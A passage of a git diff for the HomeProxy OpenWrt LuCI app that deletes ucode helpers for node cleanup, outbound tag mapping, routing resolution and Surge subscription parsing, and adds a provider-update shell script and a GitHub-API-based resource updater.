Default outbound' - }); - - uci.foreach(config, 'routing_node', (cfg) => { - const section = cfg['.name'], - label = cfg.label || section; - - if (uci.get(config, section, 'node') === node_id) - addReference(refs, { - scope: 'routing_node_node', - section: section, - option: 'node', - label: sprintf('Routing Nodes / %s / Node', label) - }); - - if (uci.get(config, section, 'outbound') === node_id) - addReference(refs, { - scope: 'routing_node_outbound', - section: section, - option: 'outbound', - label: sprintf('Routing Nodes / %s / Outbound', label) - }); - - if (uci.get(config, section, 'selector_default') === node_id) - addReference(refs, { - scope: 'routing_node_selector_default', - section: section, - option: 'selector_default', - label: sprintf('Routing Nodes / %s / Default', label) - }); - - if (~index(toArray(uci.get(config, section, 'urltest_nodes')), node_id)) - addReference(refs, { - scope: 'routing_node_urltest_nodes', - section: section, - option: 'urltest_nodes', - label: sprintf('Routing Nodes / %s / URLTest nodes', label) - }); - - if (~index(toArray(uci.get(config, section, 'selector_nodes')), node_id)) - addReference(refs, { - scope: 'routing_node_selector_nodes', - section: section, - option: 'selector_nodes', - label: sprintf('Routing Nodes / %s / Selector nodes', label) - }); - }); - - uci.foreach(config, 'routing_rule', (cfg) => { - if (uci.get(config, cfg['.name'], 'outbound') === node_id) - addReference(refs, { - scope: 'routing_rule_outbound', - section: cfg['.name'], - option: 'outbound', - label: sprintf('Routing Rules / %s / Outbound', cfg.label || cfg['.name']) - }); - }); - - uci.foreach(config, 'dns_server', (cfg) => { - if (uci.get(config, cfg['.name'], 'outbound') === node_id) - addReference(refs, { - scope: 'dns_server_outbound', - section: cfg['.name'], - option: 'outbound', - label: sprintf('DNS Server / %s / Outbound', cfg.label || cfg['.name']) - }); - }); - - uci.foreach(config, 'dns_rule', (cfg) => { - if (uci.get(config, cfg['.name'], 'outbound') === node_id) - addReference(refs, { - scope: 'dns_rule_outbound', - section: cfg['.name'], - option: 'outbound', - label: sprintf('DNS Rules / %s / Outbound', cfg.label || cfg['.name']) - }); - }); - - uci.foreach(config, 'ruleset', (cfg) => { - if (uci.get(config, cfg['.name'], 'outbound') === node_id) - addReference(refs, { - scope: 'ruleset_outbound', - section: cfg['.name'], - option: 'outbound', - label: sprintf('Rule set / %s / Outbound', cfg.label || cfg['.name']) - }); - }); - - return refs; -}; - -export function cleanup_node_references_for_delete(uci, config, node_id, opts) { - opts = opts || {}; - - if (isEmpty(node_id)) - return { changed: false, changes: [] }; - - let changed = false, - changes = [], - main_node_fallback = isEmpty(opts.main_node_fallback) ? 'nil' : opts.main_node_fallback, - main_udp_fallback = isEmpty(opts.main_udp_fallback) ? 'same' : opts.main_udp_fallback; - - if (uci.get(config, 'config', 'main_node') === node_id) { - uci.set(config, 'config', 'main_node', main_node_fallback); - addCleanupChange(changes, node_id, 'main_node', 'config', 'main_node', 'set', main_node_fallback); - changed = true; - } - - if (uci.get(config, 'config', 'main_udp_node') === node_id) { - uci.set(config, 'config', 'main_udp_node', main_udp_fallback); - addCleanupChange(changes, node_id, 'main_udp_node', 'config', 'main_udp_node', 'set', main_udp_fallback); - changed = true; - } - - let before_main_urltest = length(toArray(uci.get(config, 'config', 'main_urltest_nodes'))); - removeListValue(uci, config, 'config', 'main_urltest_nodes', node_id); - if (length(toArray(uci.get(config, 'config', 'main_urltest_nodes'))) !== before_main_urltest) { - addCleanupChange(changes, node_id, 'main_urltest_nodes', 'config', 'main_urltest_nodes', 'remove', null); - changed = true; - } - if (uci.get(config, 'config', 'main_node') === 'urltest' && - !length(toArray(uci.get(config, 'config', 'main_urltest_nodes')))) { - uci.set(config, 'config', 'main_node', main_node_fallback); - addCleanupChange(changes, node_id, 'main_node', 'config', 'main_node', 'set', main_node_fallback); - changed = true; - } - - let before_main_udp_urltest = length(toArray(uci.get(config, 'config', 'main_udp_urltest_nodes'))); - removeListValue(uci, config, 'config', 'main_udp_urltest_nodes', node_id); - if (length(toArray(uci.get(config, 'config', 'main_udp_urltest_nodes'))) !== before_main_udp_urltest) { - addCleanupChange(changes, node_id, 'main_udp_urltest_nodes', 'config', 'main_udp_urltest_nodes', 'remove', null); - changed = true; - } - if (uci.get(config, 'config', 'main_udp_node') === 'urltest' && - !length(toArray(uci.get(config, 'config', 'main_udp_urltest_nodes')))) { - uci.set(config, 'config', 'main_udp_node', main_udp_fallback); - addCleanupChange(changes, node_id, 'main_udp_node', 'config', 'main_udp_node', 'set', main_udp_fallback); - changed = true; - } - - if (uci.get(config, 'routing', 'default_outbound') === node_id) { - uci.set(config, 'routing', 'default_outbound', 'nil'); - addCleanupChange(changes, node_id, 'default_outbound', 'routing', 'default_outbound', 'set', 'nil'); - changed = true; - } - - uci.foreach(config, 'routing_node', (cfg) => { - const section = cfg['.name']; - - if (uci.get(config, section, 'node') === node_id) { - uci.delete(config, section, 'node'); - addCleanupChange(changes, node_id, 'routing_node_node', section, 'node', 'delete', null); - changed = true; - } - - if (uci.get(config, section, 'outbound') === node_id) { - uci.delete(config, section, 'outbound'); - addCleanupChange(changes, node_id, 'routing_node_outbound', section, 'outbound', 'delete', null); - changed = true; - } - - if (uci.get(config, section, 'selector_default') === node_id) { - uci.delete(config, section, 'selector_default'); - addCleanupChange(changes, node_id, 'routing_node_selector_default', section, 'selector_default', 'delete', null); - changed = true; - } - - let before_urltest = length(toArray(uci.get(config, section, 'urltest_nodes'))); - removeListValue(uci, config, section, 'urltest_nodes', node_id); - if (length(toArray(uci.get(config, section, 'urltest_nodes'))) !== before_urltest) { - addCleanupChange(changes, node_id, 'routing_node_urltest_nodes', section, 'urltest_nodes', 'remove', null); - changed = true; - } - - let before_selector = length(toArray(uci.get(config, section, 'selector_nodes'))); - removeListValue(uci, config, section, 'selector_nodes', node_id); - if (length(toArray(uci.get(config, section, 'selector_nodes'))) !== before_selector) { - addCleanupChange(changes, node_id, 'routing_node_selector_nodes', section, 'selector_nodes', 'remove', null); - changed = true; - } - }); - - uci.foreach(config, 'routing_rule', (cfg) => { - if (uci.get(config, cfg['.name'], 'outbound') === node_id) { - uci.set(config, cfg['.name'], 'outbound', 'block-out'); - addCleanupChange(changes, node_id, 'routing_rule_outbound', cfg['.name'], 'outbound', 'set', 'block-out'); - changed = true; - } - }); - - uci.foreach(config, 'dns_server', (cfg) => { - if (uci.get(config, cfg['.name'], 'outbound') === node_id) { - uci.set(config, cfg['.name'], 'outbound', 'block-out'); - addCleanupChange(changes, node_id, 'dns_server_outbound', cfg['.name'], 'outbound', 'set', 'block-out'); - changed = true; - } - }); - - uci.foreach(config, 'dns_rule', (cfg) => { - if (uci.get(config, cfg['.name'], 'outbound') === node_id) { - uci.set(config, cfg['.name'], 'outbound', 'block-out'); - addCleanupChange(changes, node_id, 'dns_rule_outbound', cfg['.name'], 'outbound', 'set', 'block-out'); - changed = true; - } - }); - - uci.foreach(config, 'ruleset', (cfg) => { - if (uci.get(config, cfg['.name'], 'outbound') === node_id) { - uci.set(config, cfg['.name'], 'outbound', 'block-out'); - addCleanupChange(changes, node_id, 'ruleset_outbound', cfg['.name'], 'outbound', 'set', 'block-out'); - changed = true; - } - }); - - return { - changed: changed, - changes: changes, - main_node_fallback: main_node_fallback, - main_udp_fallback: main_udp_fallback - }; -}; - -export function remove_subscription_nodes(uci, config, node_ids, opts) { - opts = opts || {}; - - let unique_ids = normalizeUniqueNodeIds(node_ids), - removed = 0, - changed = false, - changes = [], - main_node_fallback = isEmpty(opts.main_node_fallback) ? 'nil' : opts.main_node_fallback, - main_udp_fallback = isEmpty(opts.main_udp_fallback) ? 'same' : opts.main_udp_fallback; - - for (let node_id in unique_ids) { - let cfg = uci.get_all(config, node_id); - if (!cfg || cfg['.type'] !== 'node' || isEmpty(cfg.grouphash)) - continue; - - const cleanup = cleanup_node_references_for_delete(uci, config, node_id, { - main_node_fallback: main_node_fallback, - main_udp_fallback: main_udp_fallback - }); - if (cleanup.changed) { - changed = true; - for (let item in cleanup.changes) - push(changes, item); - } - - uci.delete(config, node_id); - removed++; - } - - return { - changed: changed, - removed: removed, - changes: changes, - main_node_fallback: main_node_fallback, - main_udp_fallback: main_udp_fallback - }; -}; diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/outbound_tag.uc b/luci-app-homeproxy/root/etc/homeproxy/scripts/outbound_tag.uc deleted file mode 100644 index cc99f8052..000000000 --- a/luci-app-homeproxy/root/etc/homeproxy/scripts/outbound_tag.uc +++ /dev/null @@ -1,290 +0,0 @@ -/* - * SPDX-License-Identifier: GPL-2.0-only - * - * HomeProxy outbound tag mapping helpers. - */ - -'use strict'; - -function reserve_tag(used_tags, tag) { - if (type(tag) === 'string' && tag !== '') - used_tags[tag] = true; -} - -function sanitize_outbound_tag(label) { - if (type(label) !== 'string') - return ''; - - let tag = ''; - for (let i = 0; i < length(label); i++) { - let ch = ord(label, i); - if (ch >= 32 && ch !== 127) - tag += substr(label, i, 1); - } - - return tag; -} - -function conflicts_outbound_tag(tag, used_tags) { - return tag in used_tags || - match(tag, /^cfg-.+-out$/) || - match(tag, /^cfg-.+-out-shadowtls$/) || - match(tag, /^cfg-.+-dns$/) || - match(tag, /^cfg-.+-rule$/) || - match(tag, /-out-shadowtls$/); -} - -function make_suffixed_outbound_tag(base, section, used_tags) { - let prefix_len = (length(section) < 6) ? length(section) : 6; - - for (let i = prefix_len; i <= length(section); i++) { - let tag = base + ' #' + substr(section, 0, i); - if (!conflicts_outbound_tag(tag, used_tags)) - return tag; - } - - for (let n = 2; ; n++) { - let tag = base + ' #' + section + '-' + n; - if (!conflicts_outbound_tag(tag, used_tags)) - return tag; - } -} - -function sort_outbound_tag_items(items) { - for (let i = 0; i < length(items); i++) { - let min = i; - - for (let j = i + 1; j < length(items); j++) - if (items[j].section < items[min].section) - min = j; - - if (min !== i) { - let item = items[i]; - items[i] = items[min]; - items[min] = item; - } - } -} - -function sectionFallbackTag(section) { - return 'cfg-' + section + '-out'; -} - -function shadowtlsFallbackTag(section) { - return sectionFallbackTag(section) + '-shadowtls'; -} - -function shadowtlsTagFromOutbound(tag) { - if (type(tag) !== 'string' || tag === '') - return tag; - - if (match(tag, /-out$/)) - return tag + '-shadowtls'; - - return tag + '-out-shadowtls'; -} - -function renameTags(value, rename, rename_string) { - let t = type(value); - - if (t === 'string') - return (rename_string && value in rename) ? rename[value] : value; - - if (t === 'object') { - for (let k in value) { - if (k in ['tag', 'outbound', 'outbounds', 'detour', 'default', 'final', 'download_detour']) - value[k] = renameTags(value[k], rename, true); - else - value[k] = renameTags(value[k], rename, false); - } - return value; - } - - if (t === 'array') { - for (let i = 0; i < length(value); i++) - value[i] = renameTags(value[i], rename, rename_string); - return value; - } - - return value; -} - -function collectStaleTagReferences(value, rename, rename_string, refs) { - let t = type(value); - - if (t === 'string') { - if (rename_string && value in rename && rename[value] !== value) - refs[value] = true; - return; - } - - if (t === 'object') { - for (let k in value) - collectStaleTagReferences(value[k], rename, - k in ['tag', 'outbound', 'outbounds', 'detour', 'default', 'final', 'download_detour'], - refs); - return; - } - - if (t === 'array') - for (let i in value) - collectStaleTagReferences(i, rename, rename_string, refs); -} - -function buildTagRenameMap(tag_map) { - let rename = {}; - - if (type(tag_map) !== 'object') - return rename; - - for (let section in tag_map) { - let old_tag = sectionFallbackTag(section), - final_tag = tag_map[section]; - - rename[old_tag] = final_tag; - rename[old_tag + '-shadowtls'] = shadowtlsTagFromOutbound(final_tag); - } - - return rename; -} - -function checkUniqueTags(entries, seen, on_duplicate) { - for (let entry in (entries || [])) { - let tag = (type(entry) === 'object') ? entry.tag : null; - if (tag === null) - continue; - - if (seen[tag] && type(on_duplicate) === 'function') - on_duplicate(tag); - - seen[tag] = true; - } -} - -export function build_outbound_tag_map(uci) { - const uciconfig = 'homeproxy'; - let items = [], - used_tags = {}, - tag_map = {}; - - const reserved_tags = [ - 'GLOBAL', 'any', - 'direct-out', 'block-out', 'main-out', 'main-udp-out', - 'default-dns', 'system-dns', 'main-dns', 'china-dns', - 'dns-in', 'mixed-in', 'redirect-in', 'tproxy-in', 'tun-in', - 'direct-domain', 'proxy-domain', 'geoip-cn', 'geosite-cn', 'geosite-noncn', - // 旧隐藏测速组的保留占位,避免用户标签或旧配置与保留名冲突;不是运行时测速组。 - '__homeproxy_delay_test__' - ]; - - for (let tag in reserved_tags) - reserve_tag(used_tags, tag); - - uci.foreach(uciconfig, 'dns_server', (cfg) => { - reserve_tag(used_tags, 'cfg-' + cfg['.name'] + '-dns'); - }); - - uci.foreach(uciconfig, 'ruleset', (cfg) => { - reserve_tag(used_tags, 'cfg-' + cfg['.name'] + '-rule'); - }); - - uci.foreach(uciconfig, 'node', (cfg) => { - push(items, { - section: cfg['.name'], - label: cfg.label - }); - }); - - uci.foreach(uciconfig, 'routing_node', (cfg) => { - if (cfg.enabled === '1' && cfg.node in ['selector', 'urltest']) - push(items, { - section: cfg['.name'], - label: cfg.label - }); - }); - - sort_outbound_tag_items(items); - - for (let item in items) { - let section = item.section, - base = sanitize_outbound_tag(item.label), - final_tag; - - if (base === '') { - final_tag = 'cfg-' + section + '-out'; - reserve_tag(used_tags, final_tag); - tag_map[section] = final_tag; - continue; - } - - final_tag = conflicts_outbound_tag(base, used_tags) - ? make_suffixed_outbound_tag(base, section, used_tags) - : base; - - reserve_tag(used_tags, final_tag); - tag_map[section] = final_tag; - } - - return tag_map; -}; - -export function get_outbound_tag(tag_map, section) { - if (type(tag_map) === 'object' && section in tag_map) - return tag_map[section]; - - return sectionFallbackTag(section); -}; - -export function get_shadowtls_outbound_tag(tag_map, section) { - return shadowtlsTagFromOutbound(get_outbound_tag(tag_map, section)); -}; - -export function get_fallback_outbound_tag(section) { - return sectionFallbackTag(section); -}; - -export function get_fallback_shadowtls_outbound_tag(section) { - return shadowtlsFallbackTag(section); -}; - -export function apply_outbound_tag_rename(client_config, tag_map) { - renameTags(client_config, buildTagRenameMap(tag_map), false); - return client_config; -}; - -export function assert_unique_outbound_tags(client_config, on_duplicate) { - let seen = {}; - - checkUniqueTags(client_config?.outbounds, seen, on_duplicate); - checkUniqueTags(client_config?.endpoints, seen, on_duplicate); - - return true; -}; - -export function assert_no_stale_outbound_tags(client_config, tag_map, on_stale) { - let refs = {}, - rename = buildTagRenameMap(tag_map); - - collectStaleTagReferences(client_config, rename, false, refs); - - for (let tag in keys(refs)) - if (type(on_stale) === 'function') - on_stale(tag, rename[tag]); - - return true; -}; - -export function normalize_outbound_target(target, tag_map) { - if (type(target) !== 'string' || target === '') - return target; - - if (type(tag_map) === 'object') - for (let section in tag_map) { - let final_tag = tag_map[section]; - if (target === final_tag || target === get_fallback_outbound_tag(section)) - return section; - } - - let matched = match(target, /^cfg-(.+)-out$/); - return matched ? matched[1] : target; -}; diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/routing_target.uc b/luci-app-homeproxy/root/etc/homeproxy/scripts/routing_target.uc deleted file mode 100644 index 744e25d28..000000000 --- a/luci-app-homeproxy/root/etc/homeproxy/scripts/routing_target.uc +++ /dev/null @@ -1,249 +0,0 @@ -/* - * SPDX-License-Identifier: GPL-2.0-only - * - * HomeProxy 路由目标解析 helper。 - */ - -'use strict'; - -import { - get_outbound_tag, - normalize_outbound_target as normalizeOutboundTargetValue -} from 'outbound_tag'; - -function isEmpty(value) { - return !value || value === 'nil' || (type(value) in ['array', 'object'] && length(value) === 0); -} - -function toArray(value) { - if (type(value) === 'array') - return value; - else if (isEmpty(value)) - return []; - - return [ value ]; -} - -function report(ctx, level, message, suggestion) { - if (type(ctx.reportError) === 'function') - ctx.reportError(level, message, suggestion); -} - -function sectionType(ctx, name) { - return ctx.uci.get_all(ctx.config, name)?.['.type']; -} - -function outboundTag(ctx, section) { - return get_outbound_tag(ctx?.tag_map, section); -} - -export function is_builtin_outbound(_ctx, target) { - return target in ['block-out', 'direct-out']; -}; - -export function is_node_section(ctx, target) { - return sectionType(ctx, target) === (ctx.node_type || 'node'); -}; - -export function is_routing_node_section(ctx, target) { - const cfg = ctx.uci.get_all(ctx.config, target) || {}; - - return cfg['.type'] === (ctx.routing_node_type || 'routing_node') && - cfg.enabled === '1' && - !isEmpty(cfg.node); -}; - -function addRoutingNodeEdge(ctx, edges, target) { - target = normalizeOutboundTargetValue(target, ctx?.tag_map); - - if (is_routing_node_section(ctx, target)) - push(edges, target); -} - -function routingNodeEdges(ctx, section) { - let cfg = ctx.uci.get_all(ctx.config, section) || {}, - edges = []; - - if (!is_routing_node_section(ctx, section)) - return edges; - - if (cfg.node === 'selector') { - for (let node_id in toArray(cfg.selector_nodes)) - addRoutingNodeEdge(ctx, edges, node_id); - addRoutingNodeEdge(ctx, edges, cfg.selector_default); - } else if (cfg.node === 'urltest') { - for (let node_id in toArray(cfg.urltest_nodes)) - addRoutingNodeEdge(ctx, edges, node_id); - } else { - addRoutingNodeEdge(ctx, edges, cfg.node); - } - - addRoutingNodeEdge(ctx, edges, cfg.outbound); - - return edges; -} - -export function routing_node_has_path(ctx, start, target, seen) { - start = normalizeOutboundTargetValue(start, ctx?.tag_map); - target = normalizeOutboundTargetValue(target, ctx?.tag_map); - - if (isEmpty(start) || isEmpty(target) || !is_routing_node_section(ctx, start)) - return false; - if (start === target) - return true; - - seen = seen || {}; - if (seen[start]) - return false; - seen[start] = true; - - for (let edge in routingNodeEdges(ctx, start)) - if (routing_node_has_path(ctx, edge, target, seen)) - return true; - - return false; -}; - -export function normalize_outbound_target(target, tag_map) { - return normalizeOutboundTargetValue(target, tag_map); -}; - -export function resolve_outbound_target(ctx, target, owner, seen_path) { - target = normalize_outbound_target(target, ctx?.tag_map); - - if (isEmpty(target)) - return null; - else if (is_builtin_outbound(ctx, target)) - return { - type: 'builtin', - outbound: target, - target: target - }; - else if (is_node_section(ctx, target)) - return { - type: 'node', - outbound: outboundTag(ctx, target), - target: target, - node_id: target - }; - - if (!seen_path) - seen_path = []; - - if (~index(seen_path, target)) { - report(ctx, 'error', - sprintf('路由节点配置错误:检测到循环引用\n循环路径: %s', - join(' -> ', [ ...seen_path, target ])), - '进入 LuCI 界面 -> 服务 -> HomeProxy -> 路由节点,检查以下节点的"出站"配置,移除循环引用'); - return { fatal: true }; - } - - const max_depth = ctx.max_depth || 20; - if (length(seen_path) >= max_depth) { - report(ctx, 'error', - sprintf('路由节点配置错误:嵌套层级过深\n当前路径: %s\n最大允许层级: %d', - join(' -> ', [ ...seen_path, target ]), - max_depth), - '简化路由节点的嵌套结构,避免过多的 Selector 嵌套'); - return { fatal: true }; - } - - if (!is_routing_node_section(ctx, target)) { - if (owner) - report(ctx, 'warning', - sprintf('%s 引用了已删除或无效的节点:%s,已在本次生成中跳过。', owner, join(' -> ', [ ...seen_path, target ])), - '请进入 LuCI 界面检查对应的节点或路由节点引用'); - - return null; - } - - const routing_node = ctx.uci.get(ctx.config, target, 'node'); - if (routing_node === 'urltest' || routing_node === 'selector') { - return { - type: routing_node, - outbound: outboundTag(ctx, target), - target: target, - section_id: target - }; - } - - return resolve_outbound_target(ctx, routing_node, owner, [ ...seen_path, target ]); -}; - -export function get_routing_target_outbound(ctx, target, owner) { - const resolved = resolve_outbound_target(ctx, target, owner, []); - - if (!resolved || resolved.fatal) - return null; - - return resolved.outbound; -}; - -export function get_valid_selector_outbounds(ctx, selector_nodes, owner, owner_section) { - let outbounds = []; - - for (let node_id in selector_nodes) { - if (owner_section && routing_node_has_path(ctx, node_id, owner_section, {})) { - report(ctx, 'error', - sprintf('路由节点配置错误:Selector %s 与 %s 形成循环引用。', owner, node_id), - '进入 LuCI 界面 -> 服务 -> HomeProxy -> 路由节点,检查 Selector 节点列表、默认节点和上游出站配置'); - continue; - } - - const outbound = get_routing_target_outbound( - ctx, - node_id, - sprintf('路由节点 %s 的 Selector 节点', owner) - ); - - if (!isEmpty(outbound)) - push(outbounds, outbound); - } - - return outbounds; -}; - -export function collect_routing_target_dependencies(ctx, client_config, target, routing_nodes, push_node_outbound, outbound_tag) { - const resolved = resolve_outbound_target(ctx, target, null, []); - - if (!resolved || resolved.fatal || resolved.type !== 'node' || ~index(routing_nodes, resolved.node_id)) - return false; - - const node = ctx.uci.get_all(ctx.config, resolved.node_id) || {}; - push_node_outbound(client_config, node, outbound_tag(resolved.node_id)); - push(routing_nodes, resolved.node_id); - - return true; -}; - -export function get_outbound(ctx, cfg, fallback, owner) { - if (isEmpty(cfg)) - return null; - - if (type(cfg) === 'array') { - if ('any-out' in cfg) - return 'any'; - - let outbounds = []; - for (let i in cfg) - push(outbounds, get_outbound(ctx, i, fallback, owner)); - return outbounds; - } - - switch (cfg) { - case 'block-out': - case 'direct-out': - return cfg; - default: - const resolved = resolve_outbound_target(ctx, cfg, null, []); - - if (!resolved || resolved.fatal) { - report(ctx, 'warning', - sprintf('%s引用了已删除或无效的节点:%s,已在本次生成中回退为 %s。', owner ? owner + ' ' : '出站', cfg, fallback || '空值'), - '请进入 LuCI 界面检查路由、DNS、规则集中的出站引用'); - return fallback || null; - } - - return resolved.outbound; - } -}; diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/subscription_parsers.uc b/luci-app-homeproxy/root/etc/homeproxy/scripts/subscription_parsers.uc deleted file mode 100644 index 07b227974..000000000 --- a/luci-app-homeproxy/root/etc/homeproxy/scripts/subscription_parsers.uc +++ /dev/null @@ -1,219 +0,0 @@ -/* - * SPDX-License-Identifier: GPL-2.0-only - * - * HomeProxy 订阅 parser helper。 - */ - -'use strict'; - -function is_empty(ctx, value) { - if (type(ctx?.isEmpty) === 'function') - return ctx.isEmpty(value); - - return !value || value === 'nil' || (type(value) in ['array', 'object'] && length(value) === 0); -} - -function validate(ctx, kind, value) { - return type(ctx?.validation) === 'function' ? ctx.validation(kind, value) : false; -} - -function log(ctx, ...args) { - if (type(ctx?.log) === 'function') - ctx.log(...args); -} - -function singFeatures(ctx) { - return ctx?.sing_features || {}; -} - -function applyTlsCertPinPolicy(ctx, config, label, pin) { - if (type(ctx?.apply_tls_cert_pin_policy) === 'function') - ctx.apply_tls_cert_pin_policy(config, label, pin); -} - -function parse_surge_proxy(ctx, line) { - let config; - - const eq = index(line, '='); - if (eq < 0) - return null; - - const label = trim(substr(line, 0, eq)); - const rhs = trim(substr(line, eq + 1)); - if (is_empty(ctx, label) || is_empty(ctx, rhs)) - return null; - - const tokens = []; - let cur = ''; - let in_quote = false; - for (let i = 0; i < length(rhs); i++) { - const ch = substr(rhs, i, 1); - if (ch == '"') - in_quote = !in_quote; - else if (ch == ',' && !in_quote) { - push(tokens, trim(cur)); - cur = ''; - } else - cur += ch; - } - if (length(trim(cur))) - push(tokens, trim(cur)); - - if (length(tokens) < 3) - return null; - - const surge_type = tokens[0]; - const address = tokens[1]; - const port = tokens[2]; - const opts = {}; - let last_key = null; - for (let i = 3; i < length(tokens); i++) { - const t = tokens[i]; - const k = index(t, '='); - if (k < 0) { - if (last_key == 'port-hopping') - opts[last_key] = opts[last_key] + ',' + t; - continue; - } - - let key = lc(trim(substr(t, 0, k))); - let val = trim(substr(t, k + 1)); - if (length(val) >= 2 && substr(val, 0, 1) == '"' && substr(val, length(val) - 1, 1) == '"') - val = substr(val, 1, length(val) - 2); - opts[key] = val; - last_key = key; - } - - function bval(v) { return (v == 'true') ? '1' : '0'; } - - switch (surge_type) { - case 'trojan': - config = { - label: label, - type: 'trojan', - address: address, - port: port, - password: opts.password, - tls: '1', - tls_sni: opts.sni, - tls_insecure: opts['skip-cert-verify'] ? bval(opts['skip-cert-verify']) : '0', - tls_alpn: opts.alpn ? split(opts.alpn, ',') : null - }; - if (opts.ws == 'true') { - config.transport = 'ws'; - config.ws_path = opts['ws-path']; - if (opts['ws-headers']) { - const hm = match(opts['ws-headers'], /[Hh]ost\s*:\s*"?([^",]+)/); - if (hm) - config.ws_host = hm[1]; - } - } - break; - case 'ss': - config = { - label: label, - type: 'shadowsocks', - address: address, - port: port, - shadowsocks_encrypt_method: opts['encrypt-method'], - password: opts.password - }; - if (opts['udp-over-tcp'] == 'true') { - config.udp_over_tcp = '1'; - config.udp_over_tcp_version = '2'; - } - if (opts['shadow-tls-password'] && opts['shadow-tls-sni']) { - config.shadowtls_enabled = '1'; - config.shadowtls_address = address; - config.shadowtls_port = port; - config.shadowtls_password = opts['shadow-tls-password']; - config.shadowtls_sni = opts['shadow-tls-sni']; - config.shadowtls_version = opts['shadow-tls-version'] || '3'; - } - break; - case 'hysteria2': - case 'hy2': - if (!singFeatures(ctx).with_quic) { - log(ctx, sprintf('Skipping unsupported %s node: %s.', surge_type, label)); - log(ctx, sprintf('Please rebuild sing-box with %s support!', 'QUIC')); - return null; - } - config = { - label: label, - type: 'hysteria2', - address: address, - port: port, - password: opts.password, - hysteria_obfs_type: opts.obfs, - hysteria_obfs_password: opts['salamander-password'] || opts['obfs-password'], - tls: '1', - tls_sni: opts.sni, - tls_insecure: opts['skip-cert-verify'] ? bval(opts['skip-cert-verify']) : '0' - }; - applyTlsCertPinPolicy(ctx, config, label, opts['server-cert-fingerprint-sha256']); - if (opts['port-hopping']) - config.hysteria_hopping_port = map(split(opts['port-hopping'], ','), - (seg) => replace(trim(seg), '-', ':')); - if (opts.alpn) - config.tls_alpn = split(opts.alpn, ','); - break; - case 'anytls': - config = { - label: label, - type: 'anytls', - address: address, - port: port, - password: opts.password, - tls: '1', - tls_sni: opts.sni, - tls_insecure: opts['skip-cert-verify'] ? bval(opts['skip-cert-verify']) : '0' - }; - break; - default: - log(ctx, sprintf('Skipping unsupported Surge proxy type: %s (%s).', surge_type, label)); - return null; - } - - if (!is_empty(ctx, config)) { - if (config.address) - config.address = replace(config.address, /\[|\]/g, ''); - - if (!validate(ctx, 'host', config.address) || !validate(ctx, 'port', config.port)) { - log(ctx, sprintf('Skipping invalid %s node: %s.', config.type, config.label || 'NULL')); - return null; - } - } - - return config; -} - -export function parse_surge_subscription(ctx, body) { - const lines = split(body, '\n'); - const nodes = []; - let in_proxies = false; - - for (let i = 0; i < length(lines); i++) { - const ln = trim(lines[i]); - - if (match(lines[i], /^[ \t]*proxies\s*:/)) { - in_proxies = true; - continue; - } - if (in_proxies && match(lines[i], /^[A-Za-z0-9_-]+\s*:/) && !match(lines[i], /^\s/)) - in_proxies = false; - if (!in_proxies) - continue; - - if (is_empty(ctx, ln) || substr(ln, 0, 1) == '#') - continue; - - if (index(ln, '=') < 0) - continue; - - const cfg = parse_surge_proxy(ctx, ln); - if (cfg) - push(nodes, cfg); - } - - return nodes; -}; diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/update_provider.sh b/luci-app-homeproxy/root/etc/homeproxy/scripts/update_provider.sh new file mode 100644 index 000000000..76e2cfc9f --- /dev/null +++ b/luci-app-homeproxy/root/etc/homeproxy/scripts/update_provider.sh @@ -0,0 +1,46 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-only + +set -eu + +NAME="homeproxy" +RUN_DIR="/var/run/$NAME" +REQUEST_FILE="$RUN_DIR/provider-update-id" +LOCK_FILE="$RUN_DIR/provider-update-v2.lock" +LOG_FILE="$RUN_DIR/homeproxy.log" +PROVIDER_ID="${1:-}" + +log() { + printf '%s [SUBSCRIBE] %s\n' "$(date '+%Y-%m-%d %H:%M:%S')" "$*" >> "$LOG_FILE" +} + +case "$PROVIDER_ID" in + *[!0-9a-f]*|'') exit 1 ;; +esac +[ "${#PROVIDER_ID}" -eq 32 ] || exit 1 + +mkdir -p "$RUN_DIR" +if ! lock -n "$LOCK_FILE" 2>/dev/null; then + log "Another provider update is running; waiting for it to finish..." + lock "$LOCK_FILE" +fi + +umask 077 +printf '%s\n' "$PROVIDER_ID" > "$REQUEST_FILE" +cleanup() { + rm -f "$REQUEST_FILE" + lock -u "$LOCK_FILE" 2>/dev/null || true +} +trap cleanup EXIT +trap 'exit 130' INT +trap 'exit 143' TERM + +# Give the Clash API response time to reach the panel before HomeProxy restarts. +log "Updating provider $PROVIDER_ID from Clash API..." +sleep 1 +if /etc/homeproxy/scripts/update_subscriptions.uc; then + log "Provider $PROVIDER_ID update completed." +else + log "Provider $PROVIDER_ID update failed." + exit 4 +fi diff --git a/luci-app-homeproxy/root/etc/homeproxy/scripts/update_resources.sh b/luci-app-homeproxy/root/etc/homeproxy/scripts/update_resources.sh index 8dd467bcc..83f49aef4 100755 --- a/luci-app-homeproxy/root/etc/homeproxy/scripts/update_resources.sh +++ b/luci-app-homeproxy/root/etc/homeproxy/scripts/update_resources.sh @@ -21,64 +21,65 @@ to_upper() { } check_list_update() { - local listtype="$1" - local listrepo="$2" - local listref="$3" - local listname="$4" - local lock="$RUN_DIR/update_resources-$listtype.lock" - local github_token="$(uci -q get homeproxy.config.github_token)" - local wget="wget --timeout=10 -q" + local LIST_FILE="$1" + local REPO_NAME="$2" + local REPO_BRANCH="$3" + local REPO_FILE="$4" + local LOCK_FILE="$RUN_DIR/update_resources-$LIST_FILE.lock" + local GITHUB_TOKEN="$(uci -q get homeproxy.config.github_token)" - exec 200>"$lock" - if ! flock -n 200 &> "/dev/null"; then - log "[$(to_upper "$listtype")] A task is already running." + if ! lock -n "$LOCK_FILE" 2>"/dev/null"; then + log "[$(to_upper "$LIST_FILE")] A task is already running." return 2 fi - [ -z "$github_token" ] || github_token="--header=Authorization: Bearer $github_token" - local list_info="$($wget "${github_token:--q}" -O- "https://api.github.com/repos/$listrepo/commits?sha=$listref&path=$listname&per_page=1")" - local list_sha="$(echo -e "$list_info" | jsonfilter -qe "@[0].sha")" - local list_ver="$(echo -e "$list_info" | jsonfilter -qe "@[0].commit.message" | grep -Eo "[0-9-]+" | tr -d '-')" - if [ -z "$list_sha" ] || [ -z "$list_ver" ]; then - log "[$(to_upper "$listtype")] Failed to get the latest version, please retry later." + local NEW_VER=$(curl -sL ${GITHUB_TOKEN:+-H "Authorization: Bearer $GITHUB_TOKEN"} "https://api.github.com/repos/$REPO_NAME/releases/latest" | jsonfilter -e 